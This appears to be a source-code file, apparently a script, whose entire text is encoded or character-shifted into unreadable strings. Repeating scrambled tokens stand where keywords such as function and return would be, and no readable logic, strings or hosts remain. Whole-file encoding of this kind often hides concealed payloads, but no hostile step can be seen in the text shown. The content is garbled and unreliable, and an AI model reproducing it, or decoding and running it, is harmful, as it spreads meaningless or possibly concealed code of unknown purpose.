EPBMEYMGE MLO@GLMSPDBZLLFM]  				~yd|vye|n`gvm`{				~yvjfg}lg}vm`{		SPDBZLLFM]  			 ####				T#O\GJ]@FG	GELKXEB_N@M@\ #	R#		[L]\[G		KKAEPBMEYMGE [ZKLSD_  #			T#	O\GJ]@FG			vGQBQZEPNCOHHML[GLAFES			_CZDGOY		 	YCOFJFCO\					OHEZL #R#				[L]\[G		KKAEPBMEYMGE KKAEPBMEYMGE  						iKKAEPBMEYMGE L[GLAFES		_CZDGOY			YCOFJFCO\ 					OHEZL#	T#		O\GJ]@FG	XX]L[vEYC^\OZSZ_@JLOEKOHSDG@[F		_CZDGOY ####R##			[L]\[G		@N[KMFGKOJZ @^v_XSYHPXKSN  						i@N[KMFGKOJZ OEKOHSDG@[F			_CZDGOY 						OHEZL#			T#		O\GJ]@FG			@PE[Z\[XJ_PLXGOEKOHSDG@[F #		R#	DFGFDF[YA@SL	^F[BX\L\L	OF[	~y	n[F\Y	kEFJB#JPYCv_OZK[Yyayv`g}vdhqyayv`g}vdhqEvCCP\K\PGJPYCv_OZK[Y#[L]\[G			SPDBZLLFM] SPDBZLLFM]  						i@N[KMFGKOJZ OEKOHSDG@[F 			OHEZL####					T#			O\GJ]@FG					JBA\G@vQJPN]M]OEKOHSDG@[F	@ZN[XKKQY ###						R##		[L]\[G			SPDBZLLFM] SPDBZLLFM]  		i@^v_XSYHPXKSN OEKOHSDG@[F		@ZN[XKKQY 											OHEZL#			T#	O\GJ]@FG		LCEBMJ]BEOEKOHSDG@[F ###	R####			JCvvY@XM^Y\L			^ASQ\PAL\@O #	[L]\[G		JBA\G@vQJPN]M]OEKOHSDG@[F					JCvvY@XM^Y\L			JCvvY@XM^Y\L						   			Y[CQSEMDC_  #T#	O\GJ]@FG		A[E_SCK^\vBYG[SKB\@			]_]YAEMZK #							RSYZODEKYvHLMXHYESYZODE#						[L]\[G				SPDBZLLFM] @N[KMFGKOJZ  		iSPDBZLLFM] G[SKB\@	]_]YAEMZK 			OHEZLGX@[]C]JMCKGGLDOYGX@[]C]JMC#	T#				O\GJ]@FG	OFS\^N^[@QHG[SKB\@			]_]YAEMZK #			R#[L]\[G				@^v_XSYHPXKSN SPDBZLLFM]  						iSPDBZLLFM] G[SKB\@		]_]YAEMZK 					OHEZL#			T#					O\GJ]@FG					Jv[GJMMAY\BvJQL[GLAFES		OEKOHSDG@[F #R#[L]\[G	@N[KMFGKOJZ KKAEPBMEYMGE  					i@N[KMFGKOJZ L[GLAFES	OEKOHSDG@[F 			OHEZL###	T#	O\GJ]@FG		LCQ^D_NvFJEN[SF ##				R#	Z]H]@J	_\EB@OS]XNS_H			G\EE#		@O		_\EB@OS]XNS_H		G\EE 			[L]\[G					_\EB@OS]XNS_H#				_\EB@OS]XNS_H			SPDBZLLFM] @^v_XSYHPXKSN  			@N[KMFGKOJZ  							SPDBZLLFM] N[HNGFMv\B_XQDADNCN[HNGFMv\#			@O		i@^v_XSYHPXKSN _\EB@OS]XNS_H 					iKKAEPBMEYMGE _\EB@OS]XNS_H  				[L]\[G		_\EB@OS]XNS_H#							@DZNOYA								MLO@GLM@^v_XSYHPXKSN  			~yvjfg}lg}vm`{				MLO@GLM@^v_XSYHPXKSN  						hkzyh}a			@N[KMFGKOJZ 				 #		@O				@DZNOYA							 			R#	MLXDFHODDKY				KKAEPBMEYMGE @DZNOYA		@N[KMFGKOJZ  			SPDBZLLFM] #	@O				i@^v_XSYHPXKSN MLXDFHODDKY  		i@^v_XSYHPXKSN MLXDFHODDKY			 		][\L ##					@O	iSPDBZLLFM] MLXDFHODDKY 								iSPDBZLLFM] MLXDFHODDKY  			R#@O				@^v_XSYHPXKSN @N[KMFGKOJZ   				iY\]LG_KKAEPBMEYMGE 			MLXDFHODDKY #						nefkhezr@^v_XSYHPXKSN t			#					_\EB@OS]XNS_H						MLXDFHODDKY#	T#					T###	[L]\[G		_\EB@OS]XNS_H#			T#							O\GJ]@FG	HHP\_[vSHKGSLD #			R#		L[GLAFES		GELKXEB_N@M@\ #	_CZDGOY					\vJHFGLF__PBZFA]G #	yay		O@KL[Z	ZL]]@GNZ	ZLJ]@FG##				@O		L[GLAFES						_CZDGOY 	[L]\[G	][\L#			@O		KKAEPBMEYMGE SPDBZLLFM]   	R####			@]A]NNN]ED_J		iSPDBZLLFM] L[GLAFES ####		H]ECQS@P\H[					iKKAEPBMEYMGE _CZDGOY #	[L]\[G			@]A]NNN]ED_J					OHEZL			H]ECQS@P\H[				OHEZL		@]A]NNN]ED_J				H]ECQS@P\H[ #		T###					[L]\[G			OHEZL#			T#	O\GJ]@FG		Y[CQSEMDC_ #			R#	[L]\[G		 #	T#	O\GJ]@FG						^S_KJLMFEvE #								R#@O					MLO@GLM@N[KMFGKOJZ   				[L]\[G			##			@DZNOYA				MLO@GLMSPDBZLLFM]  								~yvjfg}lg}vm`{				hkzyh}a					@^v_XSYHPXKSN #	[L]\[G	@^v_XSYHPXKSN @DZNOYA			SPDBZLLFM]  		@^v_XSYHPXKSN 								@N[KMFGKOJZ @^v_XSYHPXKSN hkzyh}a			@^v_XSYHPXKSN  			QQ  				@^v_XSYHPXKSN 						@^v_XSYHPXKSN @N[KMFGKOJZ hkzyh}a		@^v_XSYHPXKSN  				w  				@N[KMFGKOJZ #	T#O\GJ]@FG						K@^Y[NAC\OK]^GYEA^CJENGPQ												G\EE #						R#		OEKOHSDG@[F						^S_KJLMFEvE #							@O		OEKOHSDG@[F				 		[L]\[G					OHEZL#					@O	KKAEPBMEYMGE YEA^CJENGPQ 			UU		SPDBZLLFM] YEA^CJENGPQ 					  	YEA^CJENGPQ								LSQQPGQ_@[D^ #	@O			YEA^CJENGPQ	UU					_SMG[M@XJvKJSK\YEA^CJENGPQ  			[L]\[G	OHEZL#					L[GLAFES			SPDBZLLFM] OEKOHSDG@[F ###			@O		iKKAEPBMEYMGE L[GLAFES  	vGQBQZEPNCOHHML[GLAFES		 			][\L #			@O	i@^v_XSYHPXKSN L[GLAFES 	UU						iSPDBZLLFM] L[GLAFES  	[L]\[G	OHEZL#					@O				iSPDBZLLFM] OEKOHSDG@[F  						R###							@O	SPDBZLLFM] C^v@Z@\@ACBCLZ][@GN 					iSPDBZLLFM] OEKOHSDG@[F   		@^v_XSYHPXKSN YEA^CJENGPQ  		[L]\[G			][\L#			CHXM_[JB^_AQXAD					HSP[FQvES]HDGY]]NC@OEKOHSDG@[F #		@O	CHXM_[JB^_AQXAD						G\EE			_L[Z@FGvJFDYH[LCHXM_[JB^_AQXAD		^NKBHS]S^NFHGH^O] 					  			[L]\[G						OHEZL#	\GZL]CHXM_[JB^_AQXAD #					T#@O			ZKXOKS\JGG_ZQC@QYOEKOHSDG@[F		YEA^CJENGPQ  		[L]\[G			OHEZL#		XX]L[vEYC^\OZSZ_@JLOEKOHSDG@[F	  #EHOBPA]OAvHOEKOHSDG@[F #								[L]\[G			][\L#T#	O\GJ]@FG			NJAKENZPDH_SD_AN #			R#		YEA^CJENGPQ						LSQQPGQ_@[D^ ####							@O					YEA^CJENGPQ			UU	_SMG[M@XJvKJSK\YEA^CJENGPQ  						[L]\[G		OHEZL###	M_XXHYC^C_SP								@^v_XSYHPXKSN [ZKLSD_ 				SPDBZLLFM]  HCE_^M_yayv`g}vdhqyayv`g}vdhq^\NEYHCE_^M_#	_ONSMO			@^v_XSYHPXKSN @N[KMFGKOJZ  				\PMXQZ\DMJ_]\OH 						MLO@GLMSPDBZLLFM]  					~yvjfg}lg}vm`{					 #@O		_ONSMO		 				[L]\[G	OHEZL##	NDD]NM^[\QB				_ONSMO				KKAEPBMEYMGE 				M_XXHYC^C_SP#							DNLXJNKZKCNZ			NDD]NM^[\QB										M_XXHYC^C_SP					@N[KMFGKOJZ ###			SCLOCSZK_LE@					OHEZL#			@O	@N[KMFGKOJZ @^v_XSYHPXKSN   		R#CGDXMM		iSPDBZLLFM] DNLXJNKZKCNZ #					Z[XDNv\XGSDB							iSPDBZLLFM] [ZKLSD_  #SCLOCSZK_LE@				@^v_XSYHPXKSN CGDXMM 					@^v_XSYHPXKSN Z[XDNv\XGSDB 										CGDXMM					Z[XDNv\XGSDB ##T#	@O	SCLOCSZK_LE@ 			R#			@O	iSPDBZLLFM] NDD]NM^[\QB  				vGQBQZEPNCOHHMNDD]NM^[\QB		 		][\L ####	@O				i@N[KMFGKOJZ NDD]NM^[\QB 			UU				i@N[KMFGKOJZ NDD]NM^[\QB  		[L]\[G		OHEZL\CG[O^XDyayv`g}vdhqyayv`g}vdhq_HAXYYLM\CG[O^XD#					@O			i@^v_XSYHPXKSN DNLXJNKZKCNZ 	UU		SPDBZLLFM] C^v@Z@\@ACBCLZ][@GN 			i@^v_XSYHPXKSN DNLXJNKZKCNZ   			SPDBZLLFM] YEA^CJENGPQ  	R#@O		iKKAEPBMEYMGE DNLXJNKZKCNZ  				R#					CHXM_[JB^_AQXAD						HSP[FQvES]HDGY]]NC@DNLXJNKZKCNZ #				@O	CHXM_[JB^_AQXAD				G\EE					_L[Z@FGvJFDYH[LCHXM_[JB^_AQXAD			^NKBHS]S^NFHGH^O] 			  	[L]\[G		OHEZL#					\GZL]CHXM_[JB^_AQXAD #			T#	FY]@DHE	[LJF[MEHPL[#####					@O			ZKXOKS\JGG_ZQC@QYDNLXJNKZKCNZ			]ODXFFOB\PHLBFG^YEA^CJENGPQ   					[L]\[G			OHEZL#XX]L[vEYC^\OZSZ_@JLDNLXJNKZKCNZ	  ##	LCEBMJ]BEDNLXJNKZKCNZ #	EHOBPA]OAvHDNLXJNKZKCNZ DCXEHvFyayvdhcf{vl{z`fgv[CLHKGDCXEHvF#		T##T#@O			@^v_XSYHPXKSN @N[KMFGKOJZ  						KKAEPBMEYMGE @N[KMFGKOJZ   		R#[X_KEQSJJF				M_XXHYC^C_SP									M_XXHYC^C_SP			KKAEPBMEYMGE #QAHS^]JLvZPC						NL]vFY]@FG@N[KMFGKOJZ 				H[[HP  #@O		SPDBZLLFM] QAHS^]JLvZPC  			QAHS^]JLvZPC					H[[HP #							@O		@^v_XSYHPXKSN [X_KEQSJJF			QAHS^]JLvZPC		][\L  	R#	QAHS^]JLvZPCrt			[X_KEQSJJF###		\YMH]LvFY]@FG@N[KMFGKOJZ 				KKAEPBMEYMGE QAHS^]JLvZPC  #						T#				T####[L]\[G			][\L####					T#				O\GJ]@FG	HSP[FQvES]HDGY]]NC@OEKOHSDG@[F #R#								M_O^O_\[						iSPDBZLLFM] OEKOHSDG@[F		OHEZL			G\EE					QMQM  #	@O			KKAEPBMEYMGE M_O^O_\[  		[L]\[G	G\EE#		@O		@N[KMFGKOJZ KKAEPBMEYMGE 			M_O^O_\[	_CZDGOY  	[L]\[G	_CZDGOYrt#	[L]\[G				G\EE#						T#		#			O\GJ]@FG						QL@vJL^E^ZMBO_JFE^SQLEHF		DPPB]G[QDH_NJN #		R#	[LJFGJ@EL	\G@]H[P	FKZL[_L[##iJELH[Z]H]JHJAL][\L						JFE^SQLEHF ###					^GZX__F										i@^v_XSYHPXKSN JFE^SQLEHF #@O		^GZX__F		UU	^GZX__F			  			Y[CQSEMDC_  	R#	~y	k\]]FG	kEFJB	HJX\@[L	[HM@Q][LL##				[L]\[G			OHEZL##T##							#			AADEEDPN]]LF					iSPDBZLLFM] JFE^SQLEHF #	[L]\[G		AADEEDPN]]LF			AADEEDPN]]LF						DPPB]G[QDH_NJN#	T#O\GJ]@FG	ALQFXB@G@^X ####	R#			[L]\[G			 #T#		O\GJ]@FG	SG^DSX^[_L #					R#[L]\[G		@^v_XSYHPXKSN #T#				O\GJ]@FG			HZZ[vN@S@BZX #								R#				[L]\[G					@^v_XSYHPXKSN #	T#			O\GJ]@FG					EMD^HNCXOK^Q ###	R##				@O		@N[KMFGKOJZ @N[KMFGKOJZ   						[L]\[G	][\L#@O					@DX^BEQ[HCH^B  		[L]\[G				][\L#							O\CX^PZJM_					@ZZL]vzl{l{rKKAEPBMEYMGE t 						@^v_XSYHPXKSN Z][@GN 				vzl{l{rSPDBZLLFM] t 				#		@O			O\CX^PZJM_												KKAEPBMEYMGE O\CX^PZJM_		@^v_XSYHPXKSN  			OHEZL		UU					@N[KMFGKOJZ O\CX^PZJM_				@N[KMFGKOJZ  					OHEZL		UU				@^v_XSYHPXKSN O\CX^PZJM_	@N[KMFGKOJZ  						OHEZL  			[L]\[G		][\L#					@O	O\CX^PZJM_							@N[KMFGKOJZ  							@^v_XSYHPXKSN 						@ZZL]vzl{l{rSPDBZLLFM] t  			[L]\[G					][\L#	[L]\[G	OHEZL###			T#						O\GJ]@FG				@DX^BEQ[HCH^B #R\K[SMyayv`g}vdhqyayv`g}vdhqQDFQ_ZJC@\K[SM#			O\CX^PZJM_					@ZZL]vzl{l{rSPDBZLLFM] t 						vzl{l{r@N[KMFGKOJZ t					##							[L]\[G		KKAEPBMEYMGE O\CX^PZJM_ 					Z][@YFZO\CX^PZJM_			KKAEPBMEYMGE  		OHEZL#					T#O\GJ]@FG				F[B@AKAZDADv]ASGEQBCJL #		R#		ONCXQ@E_CvYDDE			@^v_XSYHPXKSN KKAEPBMEYMGE  			iSPDBZLLFM] SPDBZLLFM]  		OHEZL###				@O				ONCXQ@E_CvYDDE		UU						ONCXQ@E_CvYDDE			 	[L]\[G	][\L#	KDMJKFKS					iKKAEPBMEYMGE GEQBCJL #				@O	KDMJKFKS 			KDMJKFKS		GEQBCJLE^\SYGv__LL\XEHMQQZFE^\SYGv__ E^\SYGv__E^\SYGv__##OF[LHJA			@^v_XSYHPXKSN yh}avzlyh{h}f{			ONCXQ@E_CvYDDE 	HZ				[YBEB\JZ 	R#	[YBEB\JZ				@^v_XSYHPXKSN [YBEB\JZ		KKAEPBMEYMGE  #	@O		[YBEB\JZ							KDMJKFKS							[YBEB\JZ	UU		@N[KMFGKOJZ KDMJKFKS	[YBEB\JZ						m`{lj}f{pvzlyh{h}f{ 						  					[L]\[G		][\L#			T#								[L]\[G			OHEZL#			T#		O\GJ]@FG		LK_]G_KvS[JGYBQYHZD ##						R#OQ@ZYKv\[B							GYBQYHZD		U			MLO@GLM@^v_XSYHPXKSN  					mkvghdl				 					U						MLO@GLMKKAEPBMEYMGE  						hkzyh}a			 ###	[L]\[G		@N[KMFGKOJZ OQ@ZYKv\[B ###								T#					O\GJ]@FG				JD@CQMEODG^GYBQYHZD #						R#	NEFKHE			^YMK#@O		@ZZL]nefkhezr@^v_XSYHPXKSN t 			UU			@^v_XSYHPXKSN nefkhezrKKAEPBMEYMGE t  		nefkhezr@^v_XSYHPXKSN t			H[[HP #								@O					LDY]PnefkhezrKKAEPBMEYMGE trGYBQYHZDt  			R#		nefkhezrSPDBZLLFM] trGYBQYHZDt#[L]\[G			][\L##		T#					@O			@N[KMFGKOJZ ^YMK 			SPDBZLLFM] ^YMK				@^v_XSYHPXKSN   	R#	YCOFJFCO\							i^YMKNL]v_H[@^v_XSYHPXKSN 			LK_]G_KvS[JGYBQYHZD 		SPDBZLLFM]  #@O				YCOFJFCO\			 		R#	yz{	GHDLZYHJLZ	@GJ[LDLG]HE	YH[]@]@FG[LO@GLDLG]##	nefkhezrSPDBZLLFM] trGYBQYHZDt								#			[L]\[G	][\L#T###	@O		YCOFJFCO\					 	[L]\[G		OHEZL#					T#@O			KKAEPBMEYMGE KKAEPBMEYMGE  				@^v_XSYHPXKSN KKAEPBMEYMGE   	R#	HMHY]@_L	]HZBN[HYA#G^EEJv[HLYKEZAM@PDNXHKG^EEJv[HLYK#				B\AP^@P\					H[[HP #	@O				@^v_XSYHPXKSN @N[KMFGKOJZ   					B\AP^@P\rt				KKAEPBMEYMGE  #@O	MLO@GLM@^v_XSYHPXKSN   		B\AP^@P\rt		~yvjfg}lg}vm`{###			@O					MLO@GLMSPDBZLLFM]   	B\AP^@P\rt							KKAEPBMEYMGE hkzyh}a			KKAEPBMEYMGE  ###						OF[LHJA		B\AP^@P\			HZ			L[GLAFES 			R####				@O		L[GLAFES									UU		i@N[KMFGKOJZ L[GLAFES 				UU		i@^v_XSYHPXKSN L[GLAFES  		JFG]@G\L#		XL]ZBYSO				iKKAEPBMEYMGE L[GLAFES				KKAEPBMEYMGE 		LK_]G_KvS[JGYBQYHZD 							@N[KMFGKOJZ 						J #		@O			XL]ZBYSO			OHEZL 			R#						@O	iOEFJBXL]ZBYSO	efjbvlq	U	efjbvgk  						R#	DFGF]FGL	JF\G]D@GZBL]JA##		iOJEFZLXL]ZBYSO #		[L]\[G	OHEZL#						T#	@O			@ZZL]nefkhezr@N[KMFGKOJZ t 			UU	@^v_XSYHPXKSN nefkhezr@^v_XSYHPXKSN t  			nefkhezrKKAEPBMEYMGE t				H[[HP #		nefkhezr@N[KMFGKOJZ trGYBQYHZDt						XL]ZBYSO#nefkhezrSPDBZLLFM] trGYBQYHZDt					#[L]\[G			][\L#			T#				T#	T####				[L]\[G			OHEZL#		T#	O\GJ]@FG		NZADHFK@PJ[GYBQYHZD #R#			NEFKHE	^YMK#	@O		LDY]PnefkhezrSPDBZLLFM] trGYBQYHZDt  		[L]\[G####	nefkhezr@^v_XSYHPXKSN trGYBQYHZDt##@O		nefkhezr@N[KMFGKOJZ trGYBQYHZDt					 	[L]\[G#	\GZL]nefkhezrSPDBZLLFM] trGYBQYHZDt #				@O				@ZZL]nefkhezr@N[KMFGKOJZ trGYBQYHZDt  		R#iOEFJBnefkhezr@N[KMFGKOJZ trGYBQYHZDt						efjbv|g #iOJEFZLnefkhezr@^v_XSYHPXKSN trGYBQYHZDt #				\GZL]nefkhezr@^v_XSYHPXKSN trGYBQYHZDt #T##				@O	@N[KMFGKOJZ ^YMK 											KKAEPBMEYMGE ^YMK			@^v_XSYHPXKSN   			R###				i^YMKX\L[PKKAEPBMEYMGE 				LK_]G_KvS[JGYBQYHZD 			@^v_XSYHPXKSN  #T#	D\E]@KP]L	H^H[L##T#				O\GJ]@FG		HNA_P@GZGMN #R##			@O				MLO@GLM@N[KMFGKOJZ  		m`zheef~vo`elvdfmz 					[L]\[G	OHEZL#	[L]\[G		][\L#				T#						O\GJ]@FG		FBQKvM[JB\ZMHPE\vSSXXA		E]GYK]v #		R#	][P	R#@O	@G]L[OHJLvLQ@Z]ZSPDBZLLFM]  				E]GYK]v		@GZ]HGJLFO	}A[F^HKEL 	R#			D^_OGCAML\DZOZ						@^v_XSYHPXKSN vSSXXA				@N[KMFGKOJZ 					E]GYK]vNL]dLZZHNL 		  #		T				LEZL@O		E]GYK]v	@GZ]HGJLFO			lQJLY]@FG 			R#D^_OGCAML\DZOZ			SPDBZLLFM] vSSXXA				SPDBZLLFM] 				E]GYK]vNL]dLZZHNL 								  ####T	LEZL@O						@N[KMFGKOJZ E]GYK]v 					@N[KMFGKOJZ E]GYK]v 						 				R#D^_OGCAML\DZOZ			SPDBZLLFM] vSSXXA				SPDBZLLFM] 		E]GYK]v							  #				T		LEZL	R#[L]\[G#T#	E@OLJPJEL	AFFB##	@O			@ZZL]nefkhezrSPDBZLLFM] t  			nefkhezr@N[KMFGKOJZ t								H[[HP #@O					@^v_XSYHPXKSN D^_OGCAML\DZOZ						nefkhezrKKAEPBMEYMGE t	][\L  			R#							nefkhezr@^v_XSYHPXKSN trt							D^_OGCAML\DZOZ#	T#			@O					@^v_XSYHPXKSN nefkhezr@N[KMFGKOJZ t 							  		R#	nefkhezrKKAEPBMEYMGE t					@N[KMFGKOJZ nefkhezrKKAEPBMEYMGE t	  #					T#T			JH]JA	}A[F^HKEL	CKH_M_GGYXKB 					R#	yLZ]	yay		^LKY	JFG_L[Z@FG##	T	JH]JA			lQJLY]@FG				CKH_M_GGYXKB 					R####				T#				T#O\GJ]@FG					NPBEZ_MS\_BKM_O^O_\[			_EZOAMvCSX				OEKOHSDG@[F						 		DCD[LZ@BKN\_					 #		R#	@O	@N[KMFGKOJZ @N[KMFGKOJZ   		[L]\[G			OHEZL#	@O			@N[KMFGKOJZ _EZOAMvCSX  		R#	[L]\[G		HMMvHJ]@FGM_O^O_\[		O\GJ]@FG			\B_FFBOY_[Y 			\ZL			_EZOAMvCSX 	R#				@O			@^v_XSYHPXKSN _EZOAMvCSX  				[L]\[G	_EZOAMvCSX\B_FFBOY_[Y #[L]\[G	G\EE#T			OEKOHSDG@[F				DCD[LZ@BKN\_ vMK_XXvZ_Qyayv`g}vdhqyayv`g}vdhqLKK_BEEAvMK_XXvZ_Q#					T#	[L]\[G				HMMvHJ]@FGM_O^O_\[			_EZOAMvCSX	OEKOHSDG@[F	DCD[LZ@BKN\_ #	T###	O\GJ]@FG	BML[vN^LMNM_O^O_\[			_EZOAMvCSX						OEKOHSDG@[F					w 			DCD[LZ@BKN\_		 ##				R#					@O				@N[KMFGKOJZ KKAEPBMEYMGE   	[L]\[G					OHEZL#	@O	@^v_XSYHPXKSN _EZOAMvCSX  						R###		[L]\[G			HMMvO@E]L[M_O^O_\[	O\GJ]@FG		\B_FFBOY_[Y 	\ZL		_EZOAMvCSX 		R###@O	SPDBZLLFM] _EZOAMvCSX  				[L]\[G	_EZOAMvCSX\B_FFBOY_[Y #								[L]\[G	@ZZL]\B_FFBOY_[Yrt 						\B_FFBOY_[Yrt				G\EE#					T		OEKOHSDG@[F		DCD[LZ@BKN\_ B_CN_N^H[CQQJ M^ZLYQ]B_CN_N^H[C#						T#				[L]\[G					HMMvO@E]L[M_O^O_\[						_EZOAMvCSX				OEKOHSDG@[F	DCD[LZ@BKN\_ ##			T#	O\GJ]@FG			^D]]OFPX_KGKN@ #R#				[YBEB\JZ								MLO@GLMKKAEPBMEYMGE  							~yvjfg}lg}vm`{		KKAEPBMEYMGE 					FZLYYKLLEQ[\Ahkzyh}a		KKAEPBMEYMGE 		  										SPDBZLLFM] [ZKLSD_  			KKAEPBMEYMGE #@O		iSPDBZLLFM] [YBEB\JZ 											F[B@AKAZDADv]AS[YBEB\JZ  				R###vGQBQZEPNCOHHM[YBEB\JZ			QQJ 				][\L #		@O			i@^v_XSYHPXKSN [YBEB\JZ  				R#			]CMKXXQK@G\FH[YBEB\JZ				@^v_XSYHPXKSN 					YAY		z@ELGJL	@Z	NFEMLGuG	KKAEPBMEYMGE  #T#				T#	@O					iSPDBZLLFM] [YBEB\JZ 			iKKAEPBMEYMGE [YBEB\JZ  					R#	YHJBLM	EHPF\]##[L]\[G	[YBEB\JZ#			T#	JFEELJ]	MH]HOEF^N[HYA	OF[	~y	nEFKHE	z]PELZ##				JNKLC^[HF					SPDBZLLFM] [ZKLSD_  				KKAEPBMEYMGE #	@O			iSPDBZLLFM] JNKLC^[HF 						F[B@AKAZDADv]ASJNKLC^[HF  		vGQBQZEPNCOHHMJNKLC^[HF					 		][\L ##@O	i@^v_XSYHPXKSN JNKLC^[HF 				iKKAEPBMEYMGE JNKLC^[HF  			[L]\[G	JNKLC^[HF#CFGXMZLOYZY@XGX				@^v_XSYHPXKSN [ZKLSD_  ###							@O				i@^v_XSYHPXKSN CFGXMZLOYZY@XGX 			CFGXMZLOYZY@XGX				\vJHFGLF__PBZFA]G  				[L]\[G			CFGXMZLOYZY@XGX#@O		MLO@GLMKKAEPBMEYMGE  					iSPDBZLLFM] ~yvjfg}lg}vm`{ 					F[B@AKAZDADv]AS~yvjfg}lg}vm`{  	[L]\[G					~yvjfg}lg}vm`{#				[L]\[G		[YBEB\JZ#		T#		O\GJ]@FG			\PMXQZ\DMJ_]\OH #R#	@O	MLO@GLMSPDBZLLFM]  									iSPDBZLLFM] ~yvjfg}lg}vm`{ 					F[B@AKAZDADv]AS~yvjfg}lg}vm`{  		[L]\[G					~yvjfg}lg}vm`{#							MKKS^E			@^v_XSYHPXKSN [ZKLSD_  #				@O	F[B@AKAZDADv]ASMKKS^E  			[L]\[G	MKKS^E#		[L]\[G		~yvjfg}lg}vm`{#		T#			#		O\GJ]@FG				SDLMOCK_]JSDN^GEQBCJL #	R##		@O		LDY]Pnefkhezr@N[KMFGKOJZ t 	UU			@^v_XSYHPXKSN nefkhezr@N[KMFGKOJZ t  			[L]\[G	OHEZL#@O	@ZZL]nefkhezrKKAEPBMEYMGE trGEQBCJLt  	[L]\[G		][\L#	KDMJKFKS			SPDBZLLFM] KKAEPBMEYMGE  		i@N[KMFGKOJZ GEQBCJL 			OHEZL#			[L]\[G			KDMJKFKS						OHEZL								@ZZL]nefkhezrKKAEPBMEYMGE trKDMJKFKSt  ####T####		O\GJ]@FG	SS^Q\v__AZM@YMKOSGEQBCJL #	R#	HMHY]@_L	JFDDHGM	#KODGBGNEGYG]][BPPMNNSZA\KODGBGNEGYG]#@O	LDY]Pnefkhezr@N[KMFGKOJZ t 	UU				@^v_XSYHPXKSN nefkhezr@^v_XSYHPXKSN t  		[L]\[G###	\GZL]nefkhezr@^v_XSYHPXKSN trGEQBCJLt ####				KDMJKFKS			@^v_XSYHPXKSN SPDBZLLFM]  				iKKAEPBMEYMGE GEQBCJL 			OHEZL#@O			KDMJKFKS						OHEZL 				\GZL]nefkhezrKKAEPBMEYMGE trKDMJKFKSt #T####O\GJ]@FG						MSv@FPEQOZNH@GEQBCJL #							R#						@O				@ZZL]nefkhezr@^v_XSYHPXKSN t 			UU	@N[KMFGKOJZ nefkhezrSPDBZLLFM] t  	R#					nefkhezr@N[KMFGKOJZ t						H[[HP #	T##N[QOPCHHG_C				SPDBZLLFM] @^v_XSYHPXKSN  					iSPDBZLLFM] GEQBCJL 						OHEZL###	nefkhezrSPDBZLLFM] trN[QOPCHHG_C			OHEZL			N[QOPCHHG_C			GEQBCJLt						GEQBCJL###		Z]H]@J	FEJ]D				OHEZL#		@O	FEJ]D 	R###				FEJ]D					][\L#			@O					SPDBZLLFM] SPDBZLLFM]   		@N[KMFGKOJZ SPDBZLLFM]  ###	T##			T####	O\GJ]@FG					HFL_MvvABE #R#	@O			LDY]Pnefkhezr@N[KMFGKOJZ t 	UU			SPDBZLLFM] nefkhezrSPDBZLLFM] t  		R#			[L]\[G###	T#		OF[LHJA				nefkhezrKKAEPBMEYMGE t	HZ			BSMvJv^					EJC]CFDvOL 			R#				@O					@^v_XSYHPXKSN EJC]CFDvOL  	EJC]CFDvOL					BSMvJv^###		@O		BSMvJv^								[ZKLSD_ 		UU		EJC]CFDvOL										[ZKLSD_  		JFG]@G\L###	][P		R#		@O			i@^v_XSYHPXKSN EJC]CFDvOL  		R#				@O				@^v_XSYHPXKSN KKAEPBMEYMGE   				XX]L[vEYC^\OZSZ_@JLEJC]CFDvOL	QQM  ####		@O					SPDBZLLFM] @^v_XSYHPXKSN  					@PE[Z\[XJ_PLXGEJC]CFDvOL 		@^v_XSYHPXKSN @N[KMFGKOJZ   		iFYJHJALv@G_HE@MH]LEJC]CFDvOL		][\L ####T#		T		JH]JA				}A[F^HKEL	E]GYK]v 	R#			T	JH]JA		lQJLY]@FG					E]GYK]v 		R#	~y	yFZ]	mH]L	@GMLJFDYFZHKEL	DLM@H]F[##T#		T#	T#		O\GJ]@FG						HQ]G]K^\O[SMZAF ####	R####][P			R#		E]GYK]v						KKAEPBMEYMGE SPDBZLLFM]  				iL[[F[vNL]vEHZ] 									G\EE#		@O					@^v_XSYHPXKSN E]GYK]v 	UU			LDY]PE]GYK]vr@N[KMFGKOJZ t 					UU	LDY]PE]GYK]vr@N[KMFGKOJZ t  	[L]\[G#		@O		SPDBZLLFM] E]GYK]vr@N[KMFGKOJZ t			H[[HPlvl{{f{			lvyh{zl				lvjf{lvl{{f{	lvjfdy`elvl{{f{		lv|zl{vl{{f{ 		][\L  	[L]\[G#_CZDGOY									@ZZL]E]GYK]vrKKAEPBMEYMGE t 							Z][@GN 	E]GYK]vr@N[KMFGKOJZ t				#@O	Z][@YFZ_CZDGOY	SPDBZLLFM]  											OHEZL		UU			Z][@YFZ_CZDGOY		@^v_XSYHPXKSN  								OHEZL 				[L]\[G##		SCLOCSZK_LE@						@^v_XSYHPXKSN @^v_XSYHPXKSN  					i@N[KMFGKOJZ [ZKLSD_  			[ZKLSD_ #	vLO			SPDBZLLFM] SPDBZLLFM]  					iSPDBZLLFM] E]GYK]vr@^v_XSYHPXKSN t 		E]GYK]vr@N[KMFGKOJZ tCPCEM^J@\B[ZMyayvdhcf{vl{z`fg]YX_SvLOFB_CPCEM^J@\B[ZM###							@O	SPDBZLLFM] SCLOCSZK_LE@ 			UU		SPDBZLLFM] vLO 	UU		vLO					SCLOCSZK_LE@ 		[L]\[G###			@O				@ZZL]nefkhezr@N[KMFGKOJZ t  	R#							CB_EPC				iKKAEPBMEYMGE [ZKLSD_ 				OHEZL					G\EE				  #			@O	@N[KMFGKOJZ CB_EPC 					@^v_XSYHPXKSN @N[KMFGKOJZ 		CB_EPC		vMD 					vMDrt				Z][@GN 		nefkhezrKKAEPBMEYMGE t 			[L]\[G	#\GZL]CB_EPC		vMD #				@O				@ZZL]nefkhezr@N[KMFGKOJZ t  			R#	FYLG	YAHG]FD	##			@O		@N[KMFGKOJZ SPDBZLLFM]   		iJELH[Z]H]JHJAL][\L	[ZKLSD_  ##						NPCXXQLF]HZFG			Z][@GN 			i@N[KMFGKOJZ [ZKLSD_  											Z][@GN 	i@N[KMFGKOJZ [ZKLSD_  #	@O					NPCXXQLF]HZFG							Z][@GN 		nefkhezr@N[KMFGKOJZ t 	[L]\[G			#						\GZL]NPCXXQLF]HZFG ###	T#					T#M_XXHYC^C_SP						SPDBZLLFM] [ZKLSD_ 	KKAEPBMEYMGE  ##					CPJ^XGMBXvAF							KKAEPBMEYMGE C^v@Z@\@ACBCLZ][@GN 		i@N[KMFGKOJZ [ZKLSD_    #					]CMKXXQK@G\FH@N[KMFGKOJZ [ZKLSD_  				@^v_XSYHPXKSN 			M_XXHYC^C_SP	CPJ^XGMBXvAF	X #@O				CPJ^XGMBXvAF				 						R#]CMKXXQK@G\FHKKA